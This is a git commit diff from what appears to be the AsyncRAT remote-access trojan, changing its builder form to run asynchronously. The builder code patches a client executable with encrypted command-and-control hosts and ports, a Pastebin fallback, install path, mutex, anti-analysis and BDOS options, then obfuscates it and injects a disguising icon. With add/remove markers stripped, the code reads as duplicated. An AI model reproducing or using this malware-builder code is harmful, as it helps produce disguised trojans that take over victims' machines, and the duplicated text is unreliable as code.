Add async await
This commit is contained in:
NYAN CAT
parent
fd30af56f7
commit
32da8715c4
@ -12,6 +12,7 @@ using System.IO;
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using System.Linq;
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using dnlib.DotNet.Emit;
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using Server.RenamingObfuscation;
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using System.Threading.Tasks;
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namespace Server.Forms
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{
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@ -170,7 +171,7 @@ namespace Server.Forms
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catch { }
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}
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private void BtnBuild_Click(object sender, EventArgs e)
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private async void BtnBuild_Click(object sender, EventArgs e)
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{
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if (listBoxIP.Items.Count == 0 || listBoxPort.Items.Count == 0) return;
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@ -195,22 +196,26 @@ namespace Server.Forms
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saveFileDialog1.FileName = "Client";
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if (saveFileDialog1.ShowDialog() == DialogResult.OK)
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{
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WriteSettings(asmDef);
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if (chkObfu.Checked)
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btnBuild.Enabled = false;
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await Task.Run(() =>
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{
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EncryptString.DoEncrypt(asmDef);
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Renaming.DoRenaming(asmDef);
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}
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asmDef.Write(saveFileDialog1.FileName);
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asmDef.Dispose();
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if (btnAssembly.Checked)
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{
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WriteAssembly(saveFileDialog1.FileName);
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}
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if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
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{
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IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
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}
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WriteSettings(asmDef);
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if (chkObfu.Checked)
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{
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EncryptString.DoEncrypt(asmDef);
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Renaming.DoRenaming(asmDef);
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}
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asmDef.Write(saveFileDialog1.FileName);
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asmDef.Dispose();
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if (btnAssembly.Checked)
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{
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WriteAssembly(saveFileDialog1.FileName);
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}
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if (chkIcon.Checked && !string.IsNullOrEmpty(txtIcon.Text))
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{
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IconInjector.InjectIcon(saveFileDialog1.FileName, txtIcon.Text);
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}
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});
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MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information);
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SaveSettings();
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this.Close();
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@ -220,6 +225,7 @@ namespace Server.Forms
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catch (Exception ex)
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{
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MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error);
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btnBuild.Enabled = true;
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}
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}
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@ -313,101 +319,108 @@ namespace Server.Forms
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private void WriteSettings(ModuleDefMD asmDef)
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{
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var key = Methods.GetRandomString(32);
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var aes = new Aes256(key);
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var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
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var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert));
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byte[] signature;
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using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey)
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try
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{
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var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
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signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
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}
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var key = Methods.GetRandomString(32);
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var aes = new Aes256(key);
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var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
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var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert));
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byte[] signature;
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using (var csp = (RSACryptoServiceProvider)caCertificate.PrivateKey)
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{
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var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
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signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
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}
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foreach (TypeDef type in asmDef.Types)
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{
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if (type.Name == "Settings")
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foreach (MethodDef method in type.Methods)
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{
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if (method.Body == null) continue;
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for (int i = 0; i < method.Body.Instructions.Count(); i++)
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foreach (TypeDef type in asmDef.Types)
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{
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if (type.Name == "Settings")
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foreach (MethodDef method in type.Methods)
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{
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if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
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if (method.Body == null) continue;
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for (int i = 0; i < method.Body.Instructions.Count(); i++)
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{
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if (method.Body.Instructions[i].Operand.ToString() == "%Ports%")
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if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr)
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{
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if (chkPastebin.Enabled && chkPastebin.Checked)
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if (method.Body.Instructions[i].Operand.ToString() == "%Ports%")
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{
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method.Body.Instructions[i].Operand = aes.Encrypt("null");
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}
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else
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{
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List<string> LString = new List<string>();
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foreach (string port in listBoxPort.Items)
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if (chkPastebin.Enabled && chkPastebin.Checked)
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{
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LString.Add(port);
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method.Body.Instructions[i].Operand = aes.Encrypt("null");
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}
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method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
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}
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}
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if (method.Body.Instructions[i].Operand.ToString() == "%Hosts%")
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{
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if (chkPastebin.Enabled && chkPastebin.Checked)
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{
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method.Body.Instructions[i].Operand = aes.Encrypt("null");
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}
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else
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{
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List<string> LString = new List<string>();
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foreach (string ip in listBoxIP.Items)
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else
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{
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LString.Add(ip);
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List<string> LString = new List<string>();
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foreach (string port in listBoxPort.Items)
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{
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LString.Add(port);
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}
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method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
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}
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method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
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}
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if (method.Body.Instructions[i].Operand.ToString() == "%Hosts%")
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{
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if (chkPastebin.Enabled && chkPastebin.Checked)
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{
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method.Body.Instructions[i].Operand = aes.Encrypt("null");
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}
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else
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{
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List<string> LString = new List<string>();
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foreach (string ip in listBoxIP.Items)
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{
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LString.Add(ip);
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}
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method.Body.Instructions[i].Operand = aes.Encrypt(string.Join(",", LString));
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}
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}
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if (method.Body.Instructions[i].Operand.ToString() == "%Install%")
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method.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower());
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if (method.Body.Instructions[i].Operand.ToString() == "%Folder%")
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method.Body.Instructions[i].Operand = comboBoxFolder.Text;
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if (method.Body.Instructions[i].Operand.ToString() == "%File%")
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method.Body.Instructions[i].Operand = textFilename.Text;
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if (method.Body.Instructions[i].Operand.ToString() == "%Version%")
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method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("AsyncRAT ", ""));
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if (method.Body.Instructions[i].Operand.ToString() == "%Key%")
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method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
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if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
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method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
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if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
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method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
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if (method.Body.Instructions[i].Operand.ToString() == "%Certificate%")
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method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
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if (method.Body.Instructions[i].Operand.ToString() == "%Serversignature%")
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method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
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if (method.Body.Instructions[i].Operand.ToString() == "%BDOS%")
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method.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower());
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if (method.Body.Instructions[i].Operand.ToString() == "%Pastebin%")
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if (chkPastebin.Checked)
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method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text);
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else
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method.Body.Instructions[i].Operand = aes.Encrypt("null");
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}
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if (method.Body.Instructions[i].Operand.ToString() == "%Install%")
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method.Body.Instructions[i].Operand = aes.Encrypt(checkBox1.Checked.ToString().ToLower());
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if (method.Body.Instructions[i].Operand.ToString() == "%Folder%")
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method.Body.Instructions[i].Operand = comboBoxFolder.Text;
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if (method.Body.Instructions[i].Operand.ToString() == "%File%")
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method.Body.Instructions[i].Operand = textFilename.Text;
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if (method.Body.Instructions[i].Operand.ToString() == "%Version%")
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method.Body.Instructions[i].Operand = aes.Encrypt(Settings.Version.Replace("AsyncRAT ", ""));
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if (method.Body.Instructions[i].Operand.ToString() == "%Key%")
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method.Body.Instructions[i].Operand = Convert.ToBase64String(Encoding.UTF8.GetBytes(key));
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if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
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method.Body.Instructions[i].Operand = aes.Encrypt(txtMutex.Text);
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if (method.Body.Instructions[i].Operand.ToString() == "%Anti%")
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method.Body.Instructions[i].Operand = aes.Encrypt(chkAnti.Checked.ToString().ToLower());
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if (method.Body.Instructions[i].Operand.ToString() == "%Certificate%")
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method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
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if (method.Body.Instructions[i].Operand.ToString() == "%Serversignature%")
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method.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
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if (method.Body.Instructions[i].Operand.ToString() == "%BDOS%")
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method.Body.Instructions[i].Operand = aes.Encrypt(chkBdos.Checked.ToString().ToLower());
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if (method.Body.Instructions[i].Operand.ToString() == "%Pastebin%")
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if (chkPastebin.Checked)
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method.Body.Instructions[i].Operand = aes.Encrypt(txtPastebin.Text);
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else
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method.Body.Instructions[i].Operand = aes.Encrypt("null");
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}
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}
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}
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}
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}
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catch (Exception ex)
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{
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throw new ArgumentException("WriteSettings: " + ex.Message);
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}
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}
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